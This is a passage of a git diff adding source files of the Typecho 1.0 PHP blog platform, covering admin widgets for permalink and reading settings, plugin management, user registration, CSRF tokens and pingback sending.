$form->addItem($submit); + + return $form; + } + + /** + * 执行更新动作 + * + * @access public + * @return void + */ + public function updatePermalinkSettings() + { + /** 验证格式 */ + if ($this->form()->validate()) { + Typecho_Cookie::set('__typecho_form_item_postPattern', $this->request->customPattern); + $this->response->goBack(); + } + + $patternValid = $this->checkRule($this->request->postPattern); + + /** 解析url pattern */ + if ('custom' == $this->request->postPattern) { + $this->request->postPattern = '/' . ltrim($this->encodeRule($this->request->customPattern), '/'); + } + + $settings = defined('__TYPECHO_REWRITE__') ? array() : $this->request->from('rewrite'); + if (isset($this->request->postPattern) && isset($this->request->pagePattern)) { + $routingTable = $this->options->routingTable; + $routingTable['post']['url'] = $this->request->postPattern; + $routingTable['page']['url'] = '/' . ltrim($this->encodeRule($this->request->pagePattern), '/'); + $routingTable['category']['url'] = '/' . ltrim($this->encodeRule($this->request->categoryPattern), '/'); + $routingTable['category_page']['url'] = rtrim($routingTable['category']['url'], '/') . '/[page:digital]/'; + + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $settings['routingTable'] = serialize($routingTable); + } + + foreach ($settings as $name => $value) { + $this->update(array('value' => $value), $this->db->sql()->where('name = ?', $name)); + } + + if ($patternValid) { + $this->widget('Widget_Notice')->set(_t("设置已经保存"), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t("自定义链接与现有规则存在冲突! 它可能影响解析效率, 建议你重新分配一个规则."), 'notice'); + } + $this->response->goBack(); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->isPost())->updatePermalinkSettings(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Options/Reading.php b/Typecho/1.0/php-fpm/src/var/Widget/Options/Reading.php new file mode 100755 index 000000000..589422c89 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Options/Reading.php @@ -0,0 +1,219 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 文章阅读设置 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 文章阅读设置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Options_Reading extends Widget_Options_Permalink +{ + /** + * 输出表单结构 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function form() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/options-reading'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 文章日期格式 */ + $postDateFormat = new Typecho_Widget_Helper_Form_Element_Text('postDateFormat', NULL, $this->options->postDateFormat, + _t('文章日期格式'), _t('此格式用于指定显示在文章归档中的日期默认显示格式.') . '<br />' + . _t('在某些主题中这个格式可能不会生效, 因为主题作者可以自定义日期格式.') . '<br />' + . _t('请参考 <a href="http://www.php.net/manual/zh/function.date.php">PHP 日期格式写法</a>.')); + $postDateFormat->input->setAttribute('class', 'w-40 mono'); + $form->addInput($postDateFormat->addRule('xssCheck', _t('请不要在日期格式中使用特殊字符'))); + + //首页显示 + $frontPageParts = explode(':', $this->options->frontPage); + $frontPageType = $frontPageParts[0]; + $frontPageValue = count($frontPageParts) > 1 ? $frontPageParts[1] : ''; + + $frontPageOptions = array( + 'recent' => _t('显示最新发布的文章') + ); + + $frontPattern = '</label></span><span class="multiline front-archive%class%">' + . '<input type="checkbox" id="frontArchive" name="frontArchive" value="1"' + . ($this->options->frontArchive && 'recent' != $frontPageType ? ' checked' : '') .' /> +<label for="frontArchive">' . _t('同时将文章列表页路径更改为 %s', + '<input type="text" name="archivePattern" class="w-20 mono" value="' + . htmlspecialchars($this->decodeRule($this->options->routingTable['archive']['url'])) . '" />') + . '</label>'; + + // 页面列表 + $pages = $this->db->fetchAll($this->db->select('cid', 'title') + ->from('table.contents')->where('type = ?', 'page') + ->where('status = ?', 'publish')->where('created < ?', $this->options->gmtTime)); + + if (!empty($pages)) { + $pagesSelect = '<select name="frontPagePage" id="frontPage-frontPagePage">'; + foreach ($pages as $page) { + $selected = ''; + if ('page' == $frontPageType && $page['cid'] == $frontPageValue) { + $selected = ' selected="true"'; + } + + $pagesSelect .= '<option value="' . $page['cid'] . '"' . $selected + . '>' . $page['title'] . '</option>'; + } + $pagesSelect .= '</select>'; + $frontPageOptions['page'] = _t('使用 %s 页面作为首页', '</label>' . $pagesSelect . '<label for="frontPage-frontPagePage">'); + $selectedFrontPageType = 'page'; + } + + // 自定义文件列表 + $files = glob($this->options->themeFile($this->options->theme, '*.php')); + $filesSelect = ''; + + foreach ($files as $file) { + $info = Typecho_Plugin::parseInfo($file); + $file = basename($file); + + if ('index.php' != $file && 'index' == $info['title']) { + $selected = ''; + if ('file' == $frontPageType && $file == $frontPageValue) { + $selected = ' selected="true"'; + } + + $filesSelect .= '<option value="' . $file . '"' . $selected + . '>' . $file . '</option>'; + } + } + + if (!empty($filesSelect)) { + $frontPageOptions['file'] = _t('直接调用 %s 模板文件', + '</label><select name="frontPageFile" id="frontPage-frontPageFile">' + . $filesSelect . '</select><label for="frontPage-frontPageFile">'); + $selectedFrontPageType = 'file'; + } + + if (isset($frontPageOptions[$frontPageType]) && 'recent' != $frontPageType && isset($selectedFrontPageType)) { + $selectedFrontPageType = $frontPageType; + $frontPattern = str_replace('%class%', '', $frontPattern); + } + + if (isset($selectedFrontPageType)) { + $frontPattern = str_replace('%class%', ' hidden', $frontPattern); + $frontPageOptions[$selectedFrontPageType] .= $frontPattern; + } + + $frontPage = new Typecho_Widget_Helper_Form_Element_Radio('frontPage', $frontPageOptions, + $frontPageType, _t('站点首页')); + $form->addInput($frontPage->multiMode()); + + /** 文章列表数目 */ + $postsListSize = new Typecho_Widget_Helper_Form_Element_Text('postsListSize', NULL, $this->options->postsListSize, + _t('文章列表数目'), _t('此数目用于指定显示在侧边栏中的文章列表数目.')); + $postsListSize->input->setAttribute('class', 'w-20'); + $form->addInput($postsListSize->addRule('isInteger', _t('请填入一个数字'))); + + /** 每页文章数目 */ + $pageSize = new Typecho_Widget_Helper_Form_Element_Text('pageSize', NULL, $this->options->pageSize, + _t('每页文章数目'), _t('此数目用于指定文章归档输出时每页显示的文章数目.')); + $pageSize->input->setAttribute('class', 'w-20'); + $form->addInput($pageSize->addRule('isInteger', _t('请填入一个数字'))); + + /** FEED全文输出 */ + $feedFullText = new Typecho_Widget_Helper_Form_Element_Radio('feedFullText', array('0' => _t('仅输出摘要'), '1' => _t('全文输出')), + $this->options->feedFullText, _t('聚合全文输出'), _t('如果你不希望在聚合中输出文章全文,请使用仅输出摘要选项.') . '<br />' + . _t('摘要的文字取决于你在文章中使用分隔符的位置.')); + $form->addInput($feedFullText); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + return $form; + } + + /** + * 执行更新动作 + * + * @access public + * @return void + */ + public function updateReadingSettings() + { + /** 验证格式 */ + if ($this->form()->validate()) { + $this->response->goBack(); + } + + $settings = $this->request->from('postDateFormat', 'frontPage', 'frontArchive', 'pageSize', 'postsListSize', 'feedFullText'); + + if ('page' == $settings['frontPage'] && isset($this->request->frontPagePage) && + $this->db->fetchRow($this->db->select('cid') + ->from('table.contents')->where('type = ?', 'page') + ->where('status = ?', 'publish')->where('created < ?', $this->options->gmtTime) + ->where('cid = ?', $pageId = intval($this->request->frontPagePage)))) { + + $settings['frontPage'] = 'page:' . $pageId; + + } else if ('file' == $settings['frontPage'] && isset($this->request->frontPageFile) && + file_exists(__TYPECHO_ROOT_DIR__ . '/' . __TYPECHO_THEME_DIR__ . '/' . $this->options->theme . '/' . + ($file = trim($this->request->frontPageFile, " ./\\")))) { + + $settings['frontPage'] = 'file:' . $file; + + } else { + $settings['frontPage'] = 'recent'; + } + + if ('recent' != $settings['frontPage']) { + $settings['frontArchive'] = empty($settings['frontArchive']) ? 0 : 1; + if ($settings['frontArchive']) { + $routingTable = $this->options->routingTable; + $routingTable['archive']['url'] = '/' . ltrim($this->encodeRule($this->request->archivePattern), '/'); + $routingTable['archive_page']['url'] = rtrim($routingTable['archive']['url'], '/') . '/page/[page:digital]/'; + + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $settings['routingTable'] = serialize($routingTable); + } + } else { + $settings['frontArchive'] = 0; + } + + foreach ($settings as $name => $value) { + $this->update(array('value' => $value), $this->db->sql()->where('name = ?', $name)); + } + + $this->widget('Widget_Notice')->set(_t("设置已经保存"), 'success'); + $this->response->goBack(); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->isPost())->updateReadingSettings(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Config.php b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Config.php new file mode 100755 index 000000000..ffbe2d2ed --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Config.php @@ -0,0 +1,116 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 插件配置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Plugins_Config extends Widget_Abstract_Options +{ + /** + * 插件文件路径 + * + * @access private + * @var string + */ + private $_pluginFileName; + + /** + * 插件类 + * + * @access private + * @var string + */ + private $_className; + + /** + * 获取插件信息 + * + * @access public + * @var array + */ + public $info; + + /** + * 绑定动作 + * + * @access public + */ + public function execute() + { + $this->user->pass('administrator'); + $config = $this->request->filter('slug')->config; + if (empty($config)) { + throw new Typecho_Widget_Exception(_t('插件不存在'), 404); + } + + /** 获取插件入口 */ + list($this->_pluginFileName, $this->_className) = Typecho_Plugin::portal($config, + $this->options->pluginDir($config)); + $this->info = Typecho_Plugin::parseInfo($this->_pluginFileName); + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + return _t('设置插件 %s', $this->info['title']); + } + + /** + * 配置插件 + * + * @access public + * @return Typecho_Widget_Helper_Form + * @throws Typecho_Widget_Exception + */ + public function config() + { + /** 获取插件名称 */ + $pluginName = $this->request->filter('slug')->config; + + /** 获取已启用插件 */ + $plugins = Typecho_Plugin::export(); + $activatedPlugins = $plugins['activated']; + + /** 判断实例化是否成功 */ + if (!$this->info['config'] || !isset($activatedPlugins[$pluginName])) { + throw new Typecho_Widget_Exception(_t('无法配置插件'), 500); + } + + /** 载入插件 */ + require_once $this->_pluginFileName; + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/plugins-edit?config=' . $pluginName), + Typecho_Widget_Helper_Form::POST_METHOD); + call_user_func(array($this->_className, 'config'), $form); + + $options = $this->options->plugin($pluginName); + + if (!empty($options)) { + foreach ($options as $key => $val) { + $form->getInput($key)->value($val); + } + } + + $submit = new Typecho_Widget_Helper_Form_Element_Submit(NULL, NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + return $form; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Edit.php new file mode 100755 index 000000000..45a5a9814 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/Edit.php @@ -0,0 +1,297 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 插件管理 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 插件管理组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Plugins_Edit extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 手动配置插件变量 + * + * @param $pluginName 插件名称 + * @param array $settings 变量键值对 + * @param bool $isPersonal 是否为私人变量 + */ + public static function configPlugin($pluginName, array $settings, $isPersonal = false) + { + $db = Typecho_Db::get(); + $pluginName = ($isPersonal ? '_' : '') . 'plugin:' . $pluginName; + + $select = $db->select()->from('table.options') + ->where('name = ?', $pluginName); + + $options = $db->fetchAll($select); + + if (empty($settings)) { + if (!empty($options)) { + $db->query($db->delete('table.options')->where('name = ?', $pluginName)); + } + } else { + if (empty($options)) { + $db->query($db->insert('table.options') + ->rows(array( + 'name' => $pluginName, + 'value' => serialize($settings), + 'user' => 0 + ))); + } else { + foreach ($options as $option) { + $value = unserialize($option['value']); + $value = array_merge($value, $settings); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($value))) + ->where('name = ?', $pluginName) + ->where('user = ?', $option['user'])); + } + } + } + } + + /** + * 启用插件 + * + * @param $pluginName + * @throws Typecho_Widget_Exception + */ + public function activate($pluginName) + { + /** 获取插件入口 */ + list($pluginFileName, $className) = Typecho_Plugin::portal($pluginName, $this->options->pluginDir($pluginName)); + $info = Typecho_Plugin::parseInfo($pluginFileName); + + /** 检测依赖信息 */ + list ($version, $build) = explode('/', Typecho_Common::VERSION); + if (Typecho_Plugin::checkDependence($build, $info['dependence'])) { + + /** 获取已启用插件 */ + $plugins = Typecho_Plugin::export(); + $activatedPlugins = $plugins['activated']; + + /** 载入插件 */ + require_once $pluginFileName; + + /** 判断实例化是否成功 */ + if (isset($activatedPlugins[$pluginName]) || !class_exists($className) + || !method_exists($className, 'activate')) { + throw new Typecho_Widget_Exception(_t('无法启用插件'), 500); + } + + try { + $result = call_user_func(array($className, 'activate')); + Typecho_Plugin::activate($pluginName); + $this->update(array('value' => serialize(Typecho_Plugin::export())), + $this->db->sql()->where('name = ?', 'plugins')); + } catch (Typecho_Plugin_Exception $e) { + /** 截获异常 */ + $this->widget('Widget_Notice')->set($e->getMessage(), 'error'); + $this->response->goBack(); + } + + $form = new Typecho_Widget_Helper_Form(); + call_user_func(array($className, 'config'), $form); + + $personalForm = new Typecho_Widget_Helper_Form(); + call_user_func(array($className, 'personalConfig'), $personalForm); + + $options = $form->getValues(); + $personalOptions = $personalForm->getValues(); + + if ($options && !$this->configHandle($pluginName, $options, true)) { + self::configPlugin($pluginName, $options); + } + + if ($personalOptions && !$this->personalConfigHandle($className, $personalOptions)) { + self::configPlugin($pluginName, $personalOptions, true); + } + + } else { + + $result = _t('<a href="%s">%s</a> 无法在此版本的typecho下正常工作', $info['link'], $info['title']); + + } + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('plugin-' . $pluginName); + + if (isset($result) && is_string($result)) { + $this->widget('Widget_Notice')->set($result, 'notice'); + } else { + $this->widget('Widget_Notice')->set(_t('插件已经被启用'), 'success'); + } + $this->response->goBack(); + } + + /** + * 禁用插件 + * + * @param $pluginName + * @throws Typecho_Widget_Exception + * @throws Exception + * @throws Typecho_Plugin_Exception + */ + public function deactivate($pluginName) + { + /** 获取已启用插件 */ + $plugins = Typecho_Plugin::export(); + $activatedPlugins = $plugins['activated']; + $pluginFileExist = true; + + try { + /** 获取插件入口 */ + list($pluginFileName, $className) = Typecho_Plugin::portal($pluginName, $this->options->pluginDir($pluginName)); + } catch (Typecho_Plugin_Exception $e) { + $pluginFileExist = false; + + if (!isset($activatedPlugins[$pluginName])) { + throw $e; + } + } + + /** 判断实例化是否成功 */ + if (!isset($activatedPlugins[$pluginName])) { + throw new Typecho_Widget_Exception(_t('无法禁用插件'), 500); + } + + if ($pluginFileExist) { + + /** 载入插件 */ + require_once $pluginFileName; + + /** 判断实例化是否成功 */ + if (!isset($activatedPlugins[$pluginName]) || !class_exists($className) + || !method_exists($className, 'deactivate')) { + throw new Typecho_Widget_Exception(_t('无法禁用插件'), 500); + } + + try { + $result = call_user_func(array($className, 'deactivate')); + } catch (Typecho_Plugin_Exception $e) { + /** 截获异常 */ + $this->widget('Widget_Notice')->set($e->getMessage(), 'error'); + $this->response->goBack(); + } + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('plugin-' . $pluginName); + } + + Typecho_Plugin::deactivate($pluginName); + $this->update(array('value' => serialize(Typecho_Plugin::export())), + $this->db->sql()->where('name = ?', 'plugins')); + + $this->delete($this->db->sql()->where('name = ?', 'plugin:' . $pluginName)); + $this->delete($this->db->sql()->where('name = ?', '_plugin:' . $pluginName)); + + if (isset($result) && is_string($result)) { + $this->widget('Widget_Notice')->set($result, 'notice'); + } else { + $this->widget('Widget_Notice')->set(_t('插件已经被禁用'), 'success'); + } + $this->response->goBack(); + } + + /** + * 配置插件 + * + * @param $pluginName + * @access public + * @return void + */ + public function config($pluginName) + { + $form = $this->widget('Widget_Plugins_Config')->config(); + + /** 验证表单 */ + if ($form->validate()) { + $this->response->goBack(); + } + + $settings = $form->getAllRequest(); + + if (!$this->configHandle($pluginName, $settings, false)) { + self::configPlugin($pluginName, $settings); + } + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('plugin-' . $pluginName); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t("插件设置已经保存"), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('plugins.php', $this->options->adminUrl)); + } + + /** + * 用自有函数处理配置信息 + * + * @access public + * @param string $pluginName 插件名称 + * @param array $settings 配置值 + * @param boolean $isInit 是否为初始化 + * @return boolean + */ + public function configHandle($pluginName, array $settings, $isInit) + { + /** 获取插件入口 */ + list($pluginFileName, $className) = Typecho_Plugin::portal($pluginName, $this->options->pluginDir($pluginName)); + + if (method_exists($className, 'configHandle')) { + call_user_func(array($className, 'configHandle'), $settings, $isInit); + return true; + } + + return false; + } + + /** + * 用自有函数处理自定义配置信息 + * + * @access public + * @param string $className 类名 + * @param array $settings 配置值 + * @return boolean + */ + public function personalConfigHandle($className, array $settings) + { + if (method_exists($className, 'personalConfigHandle')) { + call_user_func(array($className, 'personalConfigHandle'), $settings, true); + return true; + } + + return false; + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->is('activate'))->activate($this->request->filter('slug')->activate); + $this->on($this->request->is('deactivate'))->deactivate($this->request->filter('slug')->deactivate); + $this->on($this->request->is('config'))->config($this->request->filter('slug')->config); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Plugins/List.php b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/List.php new file mode 100755 index 000000000..d57f80351 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Plugins/List.php @@ -0,0 +1,116 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 插件列表组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Plugins_List extends Typecho_Widget +{ + /** + * 已启用插件 + * + * @access public + * @var array + */ + public $activatedPlugins = array(); + + /** + * @return array + */ + protected function getPlugins() + { + return glob(__TYPECHO_ROOT_DIR__ . '/' . __TYPECHO_PLUGIN_DIR__ . '/*'); + } + + /** + * @param string $plugin + * @param string $index + * @return array|null + */ + protected function getPlugin($plugin, $index) + { + if (is_dir($plugin)) { + /** 获取插件名称 */ + $pluginName = basename($plugin); + + /** 获取插件主文件 */ + $pluginFileName = $plugin . '/Plugin.php'; + } else if (file_exists($plugin) && 'index.php' != basename($plugin)) { + $pluginFileName = $plugin; + $part = explode('.', basename($plugin)); + if (2 == count($part) && 'php' == $part[1]) { + $pluginName = $part[0]; + } else { + return NULL; + } + } else { + return NULL; + } + + return array($pluginName, $pluginFileName); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 列出插件目录 */ + $pluginDirs = $this->getPlugins(); + $this->parameter->setDefault(array('activated' => NULL)); + + /** 获取已启用插件 */ + $plugins = Typecho_Plugin::export(); + $this->activatedPlugins = $plugins['activated']; + + if (!empty($pluginDirs)) { + foreach ($pluginDirs as $key => $pluginDir) { + $parts = $this->getPlugin($pluginDir, $key); + if (empty($parts)) { + continue; + } + + list ($pluginName, $pluginFileName) = $parts; + + if (file_exists($pluginFileName)) { + $info = Typecho_Plugin::parseInfo($pluginFileName); + $info['name'] = $pluginName; + + list ($version, $build) = explode('/', Typecho_Common::VERSION); + $info['dependence'] = Typecho_Plugin::checkDependence($build, $info['dependence']); + + /** 默认即插即用 */ + $info['activated'] = true; + + if ($info['activate'] || $info['deactivate'] || $info['config'] || $info['personalConfig']) { + $info['activated'] = isset($this->activatedPlugins[$pluginName]); + + if (isset($this->activatedPlugins[$pluginName])) { + unset($this->activatedPlugins[$pluginName]); + } + } + + if ($info['activated'] == $this->parameter->activated) { + $this->push($info); + } + } + } + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Register.php b/Typecho/1.0/php-fpm/src/var/Widget/Register.php new file mode 100755 index 000000000..057afa2b7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Register.php @@ -0,0 +1,88 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 注册组件 + * + * @author qining + * @category typecho + * @package Widget + */ +class Widget_Register extends Widget_Abstract_Users implements Widget_Interface_Do +{ + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + // protect + $this->security->protect(); + + /** 如果已经登录 */ + if ($this->user->hasLogin() || !$this->options->allowRegister) { + /** 直接返回 */ + $this->response->redirect($this->options->index); + } + + /** 初始化验证类 */ + $validator = new Typecho_Validate(); + $validator->addRule('name', 'required', _t('必须填写用户名称')); + $validator->addRule('name', 'minLength', _t('用户名至少包含2个字符'), 2); + $validator->addRule('name', 'maxLength', _t('用户名最多包含32个字符'), 32); + $validator->addRule('name', 'xssCheck', _t('请不要在用户名中使用特殊字符')); + $validator->addRule('name', array($this, 'nameExists'), _t('用户名已经存在')); + $validator->addRule('mail', 'required', _t('必须填写电子邮箱')); + $validator->addRule('mail', array($this, 'mailExists'), _t('电子邮箱地址已经存在')); + $validator->addRule('mail', 'email', _t('电子邮箱格式错误')); + $validator->addRule('mail', 'maxLength', _t('电子邮箱最多包含200个字符'), 200); + + /** 如果请求中有password */ + if (array_key_exists('password', $_REQUEST)) { + $validator->addRule('password', 'required', _t('必须填写密码')); + $validator->addRule('password', 'minLength', _t('为了保证账户安全, 请输入至少六位的密码'), 6); + $validator->addRule('password', 'maxLength', _t('为了便于记忆, 密码长度请不要超过十八位'), 18); + $validator->addRule('confirm', 'confirm', _t('两次输入的密码不一致'), 'password'); + } + + /** 截获验证异常 */ + if ($error = $validator->run($this->request->from('name', 'password', 'mail', 'confirm'))) { + Typecho_Cookie::set('__typecho_remember_name', $this->request->name); + Typecho_Cookie::set('__typecho_remember_mail', $this->request->mail); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($error); + $this->response->goBack(); + } + + $hasher = new PasswordHash(8, true); + $generatedPassword = Typecho_Common::randString(7); + + $dataStruct = array( + 'name' => $this->request->name, + 'mail' => $this->request->mail, + 'screenName'=> $this->request->name, + 'password' => $hasher->HashPassword($generatedPassword), + 'created' => $this->options->gmtTime, + 'group' => 'subscriber' + ); + + $dataStruct = $this->pluginHandle()->register($dataStruct); + + $insertId = $this->insert($dataStruct); + $this->db->fetchRow($this->select()->where('uid = ?', $insertId) + ->limit(1), array($this, 'push')); + + $this->pluginHandle()->finishRegister($this); + + $this->user->login($this->request->name, $generatedPassword); + + Typecho_Cookie::delete('__typecho_first_run'); + Typecho_Cookie::delete('__typecho_remember_name'); + Typecho_Cookie::delete('__typecho_remember_mail'); + + $this->widget('Widget_Notice')->set(_t('用户 <strong>%s</strong> 已经成功注册, 密码为 <strong>%s</strong>', $this->screenName, $generatedPassword), 'success'); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Security.php b/Typecho/1.0/php-fpm/src/var/Widget/Security.php new file mode 100755 index 000000000..e1562e8d5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Security.php @@ -0,0 +1,135 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * 安全选项组件 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2014 Typecho team (http://typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Security extends Typecho_Widget +{ + /** + * @var string + */ + private $_token; + + /** + * @var Widget_Options + */ + private $_options; + + /** + * 初始化函数 + * + */ + public function execute() + { + $this->_options = $this->widget('Widget_Options'); + $user = $this->widget('Widget_User'); + + $this->_token = $this->_options->secret; + if ($user->hasLogin()) { + $this->_token .= '&' . $user->authCode . '&' . $user->uid; + } + } + + /** + * 获取token + * + * @param string $suffix 后缀 + * @return string + */ + public function getToken($suffix) + { + return md5($this->_token . '&' . $suffix); + } + + /** + * 生成带token的路径 + * + * @param $path + * @return string + */ + public function getTokenUrl($path) + { + $parts = parse_url($path); + $params = array(); + + if (!empty($parts['query'])) { + parse_str($parts['query'], $params); + } + + $params['_'] = $this->getToken($this->request->getRequestUrl()); + $parts['query'] = http_build_query($params); + + return Typecho_Common::buildUrl($parts); + } + + /** + * 保护提交数据 + * + */ + public function protect() + { + if ($this->request->get('_') != $this->getToken($this->request->getReferer())) { + $this->response->goBack(); + } + } + + /** + * 获取安全的后台路径 + * + * @param string $path + * @return string + */ + public function getAdminUrl($path) + { + return Typecho_Common::url($this->getTokenUrl($path), $this->_options->adminUrl); + } + + /** + * 获取安全的路由路径 + * + * @param $path + * @return string + */ + public function getIndex($path) + { + return Typecho_Common::url($this->getTokenUrl($path), $this->_options->index); + } + + /** + * 获取绝对路由路径 + * + * @param $path + * @return string + */ + public function getRootUrl($path) + { + return Typecho_Common::url($this->getTokenUrl($path), $this->_options->rootUrl); + } + + /** + * 输出后台安全路径 + * + * @param $path + */ + public function adminUrl($path) + { + echo $this->getAdminUrl($path); + } + + /** + * 输出安全的路由路径 + * + * @param $path + */ + public function index($path) + { + echo $this->getIndex($path); + } +} + \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Service.php b/Typecho/1.0/php-fpm/src/var/Widget/Service.php new file mode 100755 index 000000000..ff291acde --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Service.php @@ -0,0 +1,162 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 通用异步服务 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 通用异步服务组件 + * + * @author qining + * @category typecho + * @package Widget + */ +class Widget_Service extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 发送pingback实现 + * + * @access public + * @return void + */ + public function sendPingHandle() + { + /** 验证权限 */ + $this->user->pass('contributor'); + + /** 忽略超时 */ + ignore_user_abort(true); + + /** 获取post */ + $post = $this->widget('Widget_Archive', "type=post", "cid={$this->request->cid}"); + + if ($post->have() && preg_match_all("|<a[^>]*href=[\"'](.*?)[\"'][^>]*>(.*?)</a>|", $post->text, $matches)) { + $links = array_unique($matches[1]); + $permalinkPart = parse_url($post->permalink); + + /** 发送pingback */ + foreach ($links as $url) { + $urlPart = parse_url($url); + + if (isset($urlPart['scheme'])) { + if ('http' != $urlPart['scheme'] || 'https' != $urlPart['scheme']) { + continue; + } + } else { + $urlPart['scheme'] = 'http'; + $url = Typecho_Common::buildUrl($urlPart); + } + + if ($permalinkPart['host'] == $urlPart['host'] && $permalinkPart['path'] == $urlPart['path']) { + continue; + } + + $spider = Typecho_Http_Client::get(); + + if ($spider) { + $spider->setTimeout(10) + ->send($url); + + if (!($xmlrpcUrl = $spider->getResponseHeader('x-pingback'))) { + if (preg_match("/<link[^>]*rel=[\"']pingback[\"'][^>]*href=[\"']([^\"']+)[\"'][^>]*>/i", + $spider->getResponseBody(), $out)) { + $xmlrpcUrl = $out[1]; + } + } + + if (!empty($xmlrpcUrl)) { + try { + $xmlrpc = new IXR_Client($xmlrpcUrl); + $xmlrpc->pingback->ping($post->permalink, $url); + unset($xmlrpc); + } catch (Exception $e) { + continue; + } + } + } + + unset($spider); + } + } + + /** 发送trackback */ + if ($post->have() && !empty($this->request->trackback)) { + $links = $this->request->trackback; + foreach ($links as $url) { + + $client = Typecho_Http_Client::get(); + + if ($client) { + try { + $client->setTimeout(5) + ->setData(array( + 'blog_name' => $this->options->title . ' » ' . $post->title, + 'url' => $post->permalink, + 'excerpt' => $post->excerpt + )) + ->send($url); + + unset($client); + } catch (Typecho_Http_Client_Exception $e) { + continue; + } + } + + } + } + } + + /** + * 发送pingback + * <code> + * $this->sendPingbacks(365); + * </code> + * + * @access public + * @param integer $cid 内容id + * @param array $trackback trackback的url + * @return void + */ + public function sendPing($cid, array $trackback = NULL) + { + $this->user->pass('contributor'); + + if ($client = Typecho_Http_Client::get()) { + try { + + $input = array('do' => 'ping', 'cid' => $cid); + if (!empty($trackback)) { + $input['trackback'] = $trackback; + } + + $client->setCookie('__typecho_uid', Typecho_Cookie::get('__typecho_uid')) + ->setCookie('__typecho_authCode', Typecho_Cookie::get('__typecho_authCode')) + 